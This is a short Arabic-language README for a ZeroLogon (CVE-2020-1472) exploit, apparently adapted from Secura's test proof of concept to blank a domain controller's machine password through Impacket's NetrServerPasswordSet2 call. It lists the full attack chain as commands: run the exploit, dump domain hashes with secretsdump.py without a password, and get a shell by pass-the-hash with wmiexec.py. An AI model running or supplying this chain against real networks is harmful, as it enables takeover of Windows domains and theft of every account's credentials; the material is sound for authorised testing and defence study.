ZeroLogon - استغلال ومثال

تم تعديل إثبات المفهوم (PoC) الاختباري من Secura، CVE-2020-1472، لتغيير كلمة مرور الجهاز إلى قيمة فارغة. يستخدم تغيير كلمة المرور على الجهاز دالة NetrServerPasswordSet2() من Microsoft. يستغل هذا الاستغلال وحدة nrpc.py من Impacket لاستدعاء NetrServerPasswordSet2().

تشغيل الاستغلال

./zerologon_NULLPASS.py <dc-name> <dc-ip>

تفريغ التجزئات

secretsdump.py -no-pass <dc-name>\$@<dc-ip>

تمرير التجزئة (Pass-The-Hash) للوصول إلى شل

wmiexec.py -hashes <LM:NT> <username>@<ip>